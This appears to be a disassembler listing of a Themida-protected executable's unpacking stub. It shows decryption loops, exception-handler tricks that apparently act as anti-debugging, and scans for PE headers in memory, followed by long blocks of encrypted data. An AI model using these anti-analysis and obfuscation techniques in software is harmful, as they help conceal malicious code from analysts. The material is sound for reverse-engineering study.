mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_53C86E: ; CODE XREF: start+5E84Cj
mov eax, [esp+40h+var_1C]
mov [ebp+6481C4Dh], eax
push 45h
call sub_53C922
push 783749Ah
call sub_53C968
push 0A894B25h
call sub_53C968
jmp loc_53CAAC
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_53C922 proc near ; CODE XREF: start+5E866p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 6483471h
mov ebx, edx
mov [ebp+var_28], 0
loc_53C93E: ; CODE XREF: sub_53C922+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_53C95D
mov eax, [ebp+arg_0]
mov [ebx+64833DBh], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_53C93E
; ---------------------------------------------------------------------------
loc_53C95D: ; CODE XREF: sub_53C922+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_53C922 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_53C968 proc near ; CODE XREF: start+5E870p start+5E87Ap
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 64834BAh
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_53C98E: ; CODE XREF: sub_53C968+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_53C98E
mov [ebp+var_84], 0
lea edi, [edx+64833DBh]
lea esi, [ebp+var_80]
loc_53C9BE: ; CODE XREF: sub_53C968+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_53C9CA: ; CODE XREF: sub_53C968+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_53C9CA
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_53C9BE
popa
leave
retn 4
sub_53C968 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_53CA08
; ---------------------------------------------------------------------------
loc_53CA04: ; CODE XREF: Themida_:0053CA0Bj
inc dword ptr [ebp-4]
inc esi
loc_53CA08: ; CODE XREF: Themida_:0053CA02j
cmp byte ptr [esi], 0
jnz short loc_53CA04
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_53CA99
; ---------------------------------------------------------------------------
loc_53CA1A: ; CODE XREF: Themida_:0053CA9Cj
mov dword ptr [ebp-8], 0
jmp short loc_53CA90
; ---------------------------------------------------------------------------
loc_53CA23: ; CODE XREF: Themida_:0053CA94j
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_53CA7D
; ---------------------------------------------------------------------------
loc_53CA33: ; CODE XREF: Themida_:0053CA81j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_53CA55
cmp bl, 39h
ja short loc_53CA55
sub bl, 30h
jmp short loc_53CA77
; ---------------------------------------------------------------------------
loc_53CA55: ; CODE XREF: Themida_:0053CA49j
; Themida_:0053CA4Ej
cmp bl, 61h
jb short loc_53CA67
cmp bl, 66h
ja short loc_53CA67
sub bl, 61h
add bl, 0Ah
jmp short loc_53CA77
; ---------------------------------------------------------------------------
loc_53CA67: ; CODE XREF: Themida_:0053CA58j
; Themida_:0053CA5Dj
cmp bl, 41h
jb short loc_53CA77
cmp bl, 46h
ja short loc_53CA77
sub bl, 41h
add bl, 0Ah
loc_53CA77: ; CODE XREF: Themida_:0053CA53j
; Themida_:0053CA65j ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_53CA7D: ; CODE XREF: Themida_:0053CA31j
cmp dword ptr [ebp-0Ch], 2
jb short loc_53CA33
cmp dword ptr [ebp-10h], 0
jbe short loc_53CA8D
mov eax, [ebp-10h]
stosb
loc_53CA8D: ; CODE XREF: Themida_:0053CA87j
inc dword ptr [ebp-8]
loc_53CA90: ; CODE XREF: Themida_:0053CA21j
cmp dword ptr [ebp-8], 2
jb short loc_53CA23
add edx, 4
loc_53CA99: ; CODE XREF: Themida_:0053CA18j
cmp edx, [ebp-4]
jb loc_53CA1A
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53CAAC: ; CODE XREF: start+5E87Fj
mov ecx, 7000h
lea edi, [ebp+6483600h]
loc_53CAB7: ; CODE XREF: start+5EAA7j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_53CAB7
mov eax, 48692121h
mov edx, 0F00DE000h
sub edx, 0F0000000h
lea eax, [ebp+64836F3h]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
movzx ebx, ax
call sub_53CAF8
pop esi
out dx, eax
hlt
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 9
dd 0D245C6F1h
; =============== S U B R O U T I N E =======================================
sub_53CAF8 proc near ; CODE XREF: start+5EAD7p
pusha
movzx ebx, dx
mov edi, 3D04BCF8h
popa
pop ebx
and ebx, 3CD45B9h
push ebx
jmp loc_53CB1A
; ---------------------------------------------------------------------------
db 0CCh
dd 361ACE01h, 5F6C5A77h
db 1Ah, 2Dh
; ---------------------------------------------------------------------------
loc_53CB1A: ; CODE XREF: sub_53CAF8+12j
pop ebx
sub eax, edx
and eax, 0FFFFF000h
cmc
mov ecx, edx
xor edi, edi
loc_53CB27: ; CODE XREF: sub_53CAF8+4Aj
cmp word ptr [eax], 5A4Dh
jnz short loc_53CB3C
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz short loc_53CB44
loc_53CB3C: ; CODE XREF: sub_53CAF8+34j
sub eax, 1000h
inc edi
jmp short loc_53CB27
; ---------------------------------------------------------------------------
loc_53CB44: ; CODE XREF: sub_53CAF8+42j
pop large dword ptr fs:0
add esp, 4
lea edx, [ebp+6483706h]
push edx
push large dword ptr fs:0
mov large fs:0, esp
add eax, ecx
sub eax, 1000h
mov esi, [eax+4]
and esi, 0FFFF0000h
cmp esi, 80000000h
jbe short loc_53CB7E
mov esi, [eax+1Ch]
loc_53CB7E: ; CODE XREF: sub_53CAF8+81j
xor eax, eax
loc_53CB80: ; CODE XREF: sub_53CAF8+9Bj
cmp eax, 32h
jz short loc_53CBA4
cmp word ptr [esi], 5A4Dh
jz short loc_53CB95
loc_53CB8C: ; CODE XREF: sub_53CAF8+AAj
sub esi, 10000h
inc eax
jmp short loc_53CB80
; ---------------------------------------------------------------------------
loc_53CB95: ; CODE XREF: sub_53CAF8+92j
mov edi, [esi+3Ch]
add edi, esi
cmp dword ptr [edi], 4550h
jz short loc_53CBE6
jmp short loc_53CB8C
; ---------------------------------------------------------------------------
loc_53CBA4: ; CODE XREF: sub_53CAF8+8Bj
pop large dword ptr fs:0
add esp, 4
popa
retn
; ---------------------------------------------------------------------------
dd 244C8B51h, 0B0A98110h, 0
dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h
dd 483711EDh, 0CF858D06h, 89064836h, 0B881h, 33595D00h
db 0C0h, 0C3h
; ---------------------------------------------------------------------------
loc_53CBE6: ; CODE XREF: sub_53CAF8+A8j
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
or bl, 12h
push 0
push ebp
call sub_53CBFF
and [ebp-3Dh], bl
sub_53CAF8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_53CBFF proc near ; CODE XREF: sub_53CAF8+FFp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_53CBFF endp
; ---------------------------------------------------------------------------
db 0Ch
dd 8B604221h, 0FCF9810Fh, 0FD98C66h, 0B8Ch, 6E900h, 0BDBC0000h
dd 12C484AFh, 6A04E180h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 57BC351h, 6D8F10EDh
dd 66C9DB11h, 0ADE4CBBh, 19850FC9h, 80000000h, 85C797CBh
dd 64830E5h, 1, 32E9F9h, 0C3810000h, 7B2CE98Bh, 30E585C7h
dd 648h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 1021CAC3h, 0AF78033h, 0ED58589h
dd 89F90648h, 4829A985h, 13E806h, 0A7600000h, 87AF3642h
dd 1DCA3B67h, 7BB53DFh, 5AC8A335h, 63E6B847h, 0F85B598Ch
dd 717EC381h, 0D8810000h, 261ABEA0h, 68h, 0E8BF6600h, 348B5920h
dd 0F7DA810Bh, 81209965h, 62D326F6h, 2890F4Bh, 8A000000h
dd 80F681E2h, 8B38F16Bh, 7BF681C2h, 0E9391DC2h, 9, 0EDBE148Dh
dd 4AB636FBh, 0B34897Ch, 4A329ABFh, 9FB8664Eh, 2E98322h
dd 0D08B6651h, 0E9494958h, 7, 97CAD5F6h, 816A8C32h, 0FF8F14F9h
dd 9F850FFFh, 0BFFFFFFFh, 7A8C68DAh, 7DBE9h, 6810F00h
dd 1000000h, 480D3995h, 21706h, 0E9600000h, 8, 0B21E254Eh
dd 9814573Bh, 6719EE81h, 60616700h, 0D8501F8h, 2B06482Ch
dd 548BF9C0h, 0F9602824h, 27DDB58Bh, 89610648h, 48108585h
dd 840F6006h, 6, 15C58589h, 0BD8B0648h, 6482BF9h, 0CE961h
dd 9F690000h, 0BAD45E56h, 0AB7E4356h, 3CBE9CCEh, 89000000h
dd 480CCD8Dh, 24740306h, 78F0F24h, 0F000000h, 187h, 0AD66F900h
dd 6800Fh, 8D890000h, 64815B5h, 24244403h, 9850Fh, 0F9600000h
dd 0B6D6DE81h, 5061029Ah, 0EE860h, 87A10000h, 7AB257F9h
dd 8B2167ADh, 9BFACB3Eh, 14E8h, 2E63DA00h, 74422DC9h, 0FA330B23h
dd 0ACF63B33h, 8D1ABFE2h, 0BE585BBAh, 288ADF10h, 24048961h
dd 3D99529h, 408B0648h, 12E96078h, 3B000000h, 8C03D348h
dd 0A4CA7045h, 75E7CAC5h, 0D23E006Ch, 0B59D89EFh, 61064810h
dd 28244403h, 0DDBD8B60h, 8A064821h, 8A0F61D0h, 6, 135D9589h
dd 408B0648h, 858B6018h, 6483071h, 31018D8Bh, 40610648h
dd 6830Fh, 95310000h, 648155Dh, 178B0Fh, 12E90000h, 9F000000h
dd 4A9FED1Ah, 2043209Bh, 4992795Bh, 6FEC608h, 0A08589CEh
dd 0F8064838h, 0DB58B60h, 89064831h, 4800958Dh, 9586106h
dd 481879B5h, 0F800F06h, 0E9000000h, 0Ah, 5911FB06h, 0B7E403ABh
dd 708B3890h, 9D896078h, 6480959h, 999589h, 83610648h
dd 89601CC6h, 482E59B5h, 0F5B58906h, 6106481Bh, 24247403h
dd 15498589h, 0BD8D0648h, 6481AC1h, 27898D89h, 89AD0648h
dd 48040DB5h, 24440306h, 0C840F24h, 0F000000h, 686h, 870F00h
dd 0AB000000h, 0C31B589h, 0BD8D0648h, 64832D9h, 0F19D2960h
dd 8906480Ah, 480869B5h, 31AD6106h, 4809E195h, 8B666006h
dd 21B58BDEh, 61064808h, 24244403h, 2BDD9501h, 0BD010648h
dd 6481791h, 5E950h, 0B8240000h, 8931B65Fh, 9E92404h, 8F000000h
dd 0C37A5041h, 35A7D9F3h, 0B70F60ABh, 0D5BD01C1h, 61064805h
dd 6DBD8B60h, 66064810h, 887BD981h, 81BD8D61h, 0FC064808h
dd 6870FADh, 29000000h, 4832AD9Dh, 24440306h, 2D9D8928h
dd 0AB064807h, 11E9h, 95F85900h, 5FFC12B3h, 9AED572Ah
dd 8756B42h, 295E1CA2h, 481B6995h, 0A08DFF06h, 83064838h
dd 4838A0BDh, 10750006h, 1C2444C7h, 0
dd 3E00B58Dh, 0E6FF0648h, 4403AD56h, 8B972824h, 0F9858ADFh
dd 8406480Fh, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh
dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah
dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h
dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h
dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 48108585h, 0FF6FE906h
dd 95EFFFFh, 481C71BDh, 0E98D8906h, 8B06481Eh, 48108585h
dd 89BD8906h, 0D106480Dh, 8503FCE0h, 6480881h, 0DE9h, 8D0FC700h
dd 0D81FA2DDh, 0C1E7669Ch, 0BEE409h, 89000000h, 480EF195h
dd 8A0F9606h, 16h, 0CE860h, 59100000h, 0C53C2A4h, 0E7B61DEBh
dd 525BB651h, 0AD666159h, 5E9h, 1A80FF00h, 0E0C14468h
dd 0B5896002h, 64804B5h, 67A1BF66h, 8503FC61h, 6481AC1h
dd 0EE960h, 55490000h, 7B1D8EE2h, 515947D0h, 86BE5F30h
dd 15CDBD8Bh, 96610648h, 14758529h, 0F8AD0648h, 24244C8Bh
dd 0AE9h, 4C171B00h, 31BE10B6h, 345785Bh, 0F242444h, 68Fh
dd 49853100h, 0F506480Eh, 1C244489h, 13798D89h, 66600648h
dd 893F9DBBh, 48075985h, 0E9966106h, 10h, 0E90DFACDh, 0B271FFB7h
dd 56CD6F04h, 436693Ch, 14E9ACh, 0F7020000h, 40253057h
dd 9C7326D9h, 4529B533h, 0A1C70A4Bh, 0E8606FB5h, 0Bh, 0B731C262h
dd 8A4EBED7h, 66C8321Bh, 594B92B8h, 9F1958Bh, 32610648h
dd 9D3160C9h, 6483169h, 10E9h, 0CD8C6B00h, 0E4BDDB25h
dd 9CEE46F9h, 62A25EBCh, 0C1FE6156h, 0A718589h, 9D890648h
dd 6482A89h, 830FD0D0h, 0EDh, 11E9h, 9F7ECF00h, 0B50FFF15h
dd 7723C0EDh, 9D9C85A1h, 8A0F6B82h, 6, 15E5B531h, 0D0D00648h
dd 0C3830Fh, 800F0000h, 1, 0FD0D0F5h, 0B482h, 6880F00h
dd 89000000h, 480D8995h, 0FD0D006h, 0A082h, 85016000h
dd 648325Dh, 10840Fh, 0BE90000h, 74000000h, 0F727BC7h
dd 9527608Eh, 2961E358h, 483089B5h, 0FC9FE06h, 0FFFF7F89h
dd 0D830FFFh, 60000000h, 29059D23h, 0A4BA0648h, 616C13C0h
dd 0E920C483h, 10h, 0B29D4C14h, 0DEAD7B38h, 33337277h
dd 0EF773182h, 501BD89h, 44C70648h, 0FC24h, 95890000h
dd 6482359h, 9399D89h, 1B80648h, 29000000h, 4822E185h
dd 868D8D06h, 60064872h, 294D952Bh, 0BD010648h, 64829BDh
dd 0E1FFF961h, 141D9D89h, 8B0F0648h, 1, 0F985C6F5h, 6480Fh
dd 0FE961F5h, 84000000h, 72D06081h, 0E138F886h, 0EDC6C929h
dd 8C2BE93h, 69950900h, 96064833h, 13E95250h, 92000000h
dd 0EE7599D8h, 645A7F51h, 0EDE3E1F2h, 7854EECEh, 310F7594h
dd 6810Fh, 8A0F0000h, 0
dd 6050585Ah, 0CE8h, 0CAD02800h, 0B9D4704h, 39FE03E5h
dd 6E806h, 0F1920000h, 0DEE6C739h, 66605F5Ah, 0C18BFB8Bh
dd 60966161h, 8F59D8Bh, 85890648h, 6481EEDh, 15B58961h
dd 89064840h, 480D05B5h, 4C8D8906h, 0F064840h, 684h, 0B5953100h
dd 89064804h, 480B91B5h, 11B58D06h, 2906483Fh, 4821C18Dh
dd 35858D06h, 0F005B7Eh, 0C85h, 68A0F00h, 29000000h, 48288DBDh
dd 0DE906h, 61650000h, 0FE23B902h, 509D0A59h, 0FFE23AA6h
dd 699D89D0h, 5E06481Ah, 13CD8D89h, 8D290648h, 6481055h
dd 14E9C3h, 0A8CC0000h, 0FB333A91h, 7E7C64CCh, 0D5C7BE2Eh
dd 0A560DCE1h, 0B58B8822h, 6484015h, 7E9h, 88522F00h, 6D85E878h
dd 4C8D8BFCh, 89064840h, 48119D85h, 60C02B06h, 6E59D89h
dd 8B610648h, 858589D9h, 0E9064822h, 0B8h, 9E9h, 3C924A00h
dd 73E2D805h, 2632C618h, 1820Fh, 0B2F50000h, 71858902h
dd 0E9064813h, 63h, 60C232FCh, 2EBD9589h, 0CCBE0648h, 614C2B35h
dd 751D7A05h, 0D995898Ah, 89064828h, 4809E59Dh, 0FCC8A06h
dd 68Eh, 0A1B58900h, 0D3064828h, 4235FCC8h, 0F98D108h
dd 682h, 0C19D8900h, 0FE06480Ah, 7E960CAh, 77000000h, 88B74C46h
dd 8D893AA7h, 6480CE5h, 5E961h, 0A6D90000h, 0AF21421h
dd 96850FD2h, 60FFFFFFh, 42DA8166h, 0A9958912h, 61064801h
dd 68B0F4Bh, 29000000h, 48275995h, 89604606h, 481F09B5h
dd 39F08106h, 6149C506h, 850FDB0Bh, 0FFFFFF4Eh, 810FCFF9h
dd 6, 2ADD9529h, 648h, 1F800Fh, 0E9600000h, 12h, 0AC70F745h
dd 1E462994h, 23345BEDh, 0F02E184Bh, 0BD8911AFh, 6482281h
dd 60000061h, 3221BD23h, 0B5010648h, 6482B51h, 0E9000061h
dd 0Ch, 362BBC37h, 75D45FE6h, 0BC2251BBh, 820F0000h, 8
dd 2800Fh, 61600000h, 38BA858Dh, 0BE90648h, 96000000h
dd 91287E6Eh, 3D4961BAh, 858924C8h, 6482755h, 0C880Fh
dd 810F0000h, 6, 860Fh, 858D0000h, 6483E26h, 108F0Fh, 830F0000h
dd 0Ah, 5E9h, 1EB34100h, 85893FF0h, 6480041h, 10E8h, 74792500h
dd 5CD6C10h, 0B35FDB0Fh, 0ECBB9ADCh, 25E28198h, 5F6DAEF1h
dd 5973C781h, 0BF0F0000h, 0B8CAh, 958B0000h, 6481BF1h
dd 8A3834FFh, 0B70F5EDAh, 7DF681D9h, 6613D5D0h, 81ACEEBAh
dd 0E3E676F6h, 51E1814Eh, 810A24D0h, 9E4398EEh, 7D8D3127h
dd 5606480Ah, 48FC0B5h, 0BD9D8B07h, 52064817h, 4721BA66h
dd 3E8835Bh, 0DE848h, 4B7F0000h, 8EDCD64h, 0EB5660Ah, 894770F8h
dd 4802058Dh, 0F8815906h, 0FFFFA720h, 0FF9A850Fh, 9509FFFFh
dd 6480EDDh, 14EBh, 3 dup(0)
dd 8B0000h, 858D0000h, 6484231h, 4CD8589h, 0BD830648h
dd 6484169h, 3D840F00h, 0C6000001h, 480FF985h, 4E85606h
dd 39000000h, 50D41F6Dh, 424448Bh, 4489008Bh, 0FF580424h
dd 480ED5B5h, 0BA858D06h, 0FF064838h, 5D8589D0h, 0C6064841h
dd 480FF985h, 37685606h, 81DD5DB9h, 1652434h, 0B5FF41F5h
dd 6480ED5h, 38BA858Dh, 0D0FF0648h, 41618589h, 46A0648h
dd 4E8h, 100000h, 448B5000h, 8B0424h, 4244489h, 6D858B58h
dd 5064841h, 1F4h, 9002E0C1h, 6A9050h, 416195FFh, 85890648h
dd 6484165h, 0FFB8D88Bh, 0FFFFFFFFh, 4804CD95h, 0FFC38B06h
dd 4804CD95h, 96E906h, 0BD830000h, 6484169h, 1850F00h
dd 0C3000000h, 65BD8B57h, 0AB064841h, 41658583h, 5F040648h
dd 69BD83C3h, 64841h, 1850Fh, 60C30000h, 4165AD83h, 8B040648h
dd 4841659Dh, 0FC7B8306h, 26850FFFh, 0E8000000h, 4, 8000h
dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 415D95FFh
dd 0C3610648h, 26E9h, 4E800h, 80000000h, 8B500000h, 8B042444h
dd 24448900h, 6A5804h, 95FF33FFh, 648415Dh, 4165AD83h
dd 0E9040648h, 0FFFFFF9Fh, 1ADE948h, 8B600000h, 8B242474h
dd 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h, 585h
dd 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5, 1246168Ah
dd 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h
dd 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h
dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h
dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h
dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h
dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h
dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh, 2000000h
dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h, 5850Fh
dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh, 830F0000h
dd 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h
dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h
dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h
dd 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h
dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h, 929h, 9D3E9h
dd 0F4E96200h, 38F8500Eh, 0F66C7441h, 2BD109E2h, 402EF40Ch
dd 0ADE2297Ch, 6CFC5E14h, 2AE76654h, 0F4CF3FCBh, 34BA5B03h
dd 0A47B6649h, 2CC318B1h, 2F65FB49h, 0A7E8591Fh, 60FD4300h
dd 28E76606h, 0F4CC30CDh, 2BBA4103h, 0A4647C54h, 37DD04AFh
dd 446BEF5Eh, 0B0A46D7Ch, 2DEC4304h, 3DA96754h, 0F4DA24CDh
dd 2AF5471Ah, 0AA647254h, 63h dup(0)
dd 0F4E96200h, 24F45A07h, 0A47B7C52h, 3FDF13B2h, 526F75Eh
dd 0E2F7687Ah, 22FD5503h, 31E67506h, 0A68835CCh, 24F45B1Fh
dd 0ED297448h, 37C941ACh, 566BE459h, 0A7F07A6Bh, 41921E0Ch
dd 25EC7F76h, 0F48434D1h, 22F65B1Fh, 0ED297747h, 2AD641B6h
dd 486BFB43h, 0B0EB6477h, 22F91018h, 21FB3342h, 0A6C925D1h
dd 22E3151Eh, 0F4296153h, 2AD70EB0h, 65FB4Dh, 48h dup(0)
dd 0F4E96200h, 2EFB4709h, 0A37B764Dh, 37C441B1h, 4D6BFA43h
dd 0A0A47A73h, 6CF65504h, 2AFC7C40h, 0A1DA71C6h, 23F35B04h
dd 0EA603341h, 2DDF18E2h, 5C38B65Eh, 0AFE17D61h, 1C953A4Fh
dd 37E8764Ah, 0A1887DC7h, 2CF55904h, 0F0603342h, 37C207E2h
dd 4026B641h, 0BBF6667Fh, 28F65141h, 37EC6106h, 0A0DA30D6h
dd 38F54C4Ah, 0F6793354h, 39C206ADh, 0B841h, 61h dup(0)
dd 0BDEE6200h, 2EBA5006h, 0F17B6149h, 3CD515B2h, 716BB80Dh
dd 0E2F7607Ah, 2BF74211h, 64E47254h, 0F4DB30CAh, 23FF5008h
dd 0EA687E06h, 34C511ABh, 412EE24Dh, 0A6EA6832h, 35F95D41h
dd 49837644h, 0A78F25CBh, 2BF45C4Ah, 0E17D7043h, 21D241A6h
dd 736BF70Ch, 0B1F17B7Bh, 6CEA5F41h, 27E86145h, 0FACC34C9h
dd 24F2614Ah, 0ED6F3355h, 2F9004AEh, 516CF843h, 0B0EB7E32h
dd 22F9100Ah, 36E67E5Fh, 7FC7h, 0E0h dup(0)
dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
dd 2 dup(0)
dd 2D31E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0E167ED52h, 957610BEh, 10E9FC21h
dd 0BD000000h, 340C6E14h, 27C6862h, 18C4DA06h, 0F490B41h
dd 680h, 91958900h, 8B064829h, 57006AC0h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 26786617h
dd 2729B589h, 0BD830648h, 6481299h, 83097500h, 480D35BDh
dd 13740006h, 0C08B5350h, 1B8h, 69D8D00h, 0FF064AA3h, 83585BD3h
dd 480D35BDh, 11740006h, 1B85350h, 8D000000h, 4AA1B79Dh
dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 0E33C70E7h, 18259589h, 0D88B0648h
dd 9D33C08Bh, 6482895h, 0D6DBD83h, 0F000648h, 1ED84h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 95895FFAh, 6482991h, 0CE9h, 0A984C200h, 0AFABC5A7h
dd 0B2B82162h, 0E5BD8345h, 64808h, 1AC840Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 60B9FEC3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 28C35646h, 8BD60C30h, 48062995h, 21BD8906h, 8B06482Ch
dd 4808E585h, 0E805F906h, 8B000003h, 8E890D6h, 0FE000000h
dd 6BE5E399h, 66E77466h, 5B702CBAh, 4810F50h, 66000000h
dd 90F1A9BAh, 3E858DFCh, 6A06484Eh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EF8FC353h
dd 0FE95Fh, 0A2FE0000h, 8AAFA342h, 826296A2h, 0E6E05ECAh
dd 47BB50D1h, 890693A1h, 0B5892404h, 648318Dh, 4E1C858Dh
dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 0B9A9AEC3h, 9F0775F8h, 9D8B8924h, 6482B29h
dd 0C8E0F50h, 0F000000h, 68Ch, 890F00h, 89000000h, 952B2404h
dd 6482B7Dh, 286195FFh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0AB8536C3h, 8160FBEFh
dd 54ABC7D8h, 5E91Ah, 0C1BE0000h, 61672782h, 0C4839FB3h
dd 0D281660Ch, 858D9437h, 6484E1Ch, 0AD8D8960h, 0F506480Ah
dd 0D38B9061h, 909DB650h, 0B299589h, 95310648h, 6481215h
dd 952B026Ah, 6483215h, 857495FFh, 6A0068h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0BEA18EC3h
dd 0B58580D0h, 3BBAA4EBh, 61740689h, 15B19D01h, 85C70648h
dd 6484E4Fh, 1, 335D9D29h, 0E9500648h, 0Bh, 0CAA718FAh
dd 548796C1h, 8984F6E3h, 958B2434h, 6480945h, 4E00B589h
dd 8B660648h, 0E5BD83DFh, 1064830h, 31850Fh, 8B660000h
dd 5F883DEh, 25850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0B849C3h, 66000000h
dd 83DEC8BAh, 480091BDh, 840F0006h, 50h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4AC35747h, 8F354BBEh
dd 5F70E0B8h, 13E8h, 0E71A5900h, 20333945h, 0E88CB8ABh
dd 832B97C9h, 8C11E455h, 0F61B529h, 0B75A0648h, 0B81Ah
dd 85890000h, 64828EDh, 11958B60h, 8B06480Eh, 48155185h
dd 0C083F806h, 89C2B302h, 484DF885h, 0D2816606h, 800FF7BEh
dd 2, 0C6DE8Bh, 94EB81FFh, 8B4FC955h, 4817099Dh, 0F985C606h
dd 5306480Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 5CC35646h, 0F3F70EBAh, 0D9B70F6Dh, 871B3E68h, 0DA8B6696h
dd 0E6243481h, 6A6A3653h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 931FC356h, 0B5FFB510h
dd 64829A9h, 6A98D31h, 858D0648h, 64B7F60h, 1CB98D89h
dd 0D0FF0648h, 27B9958Bh, 85890648h, 648092Dh, 0D135BB66h
dd 4B9BD83h, 0F010648h, 10385h, 52006A00h, 3E8h, 0C35A2000h
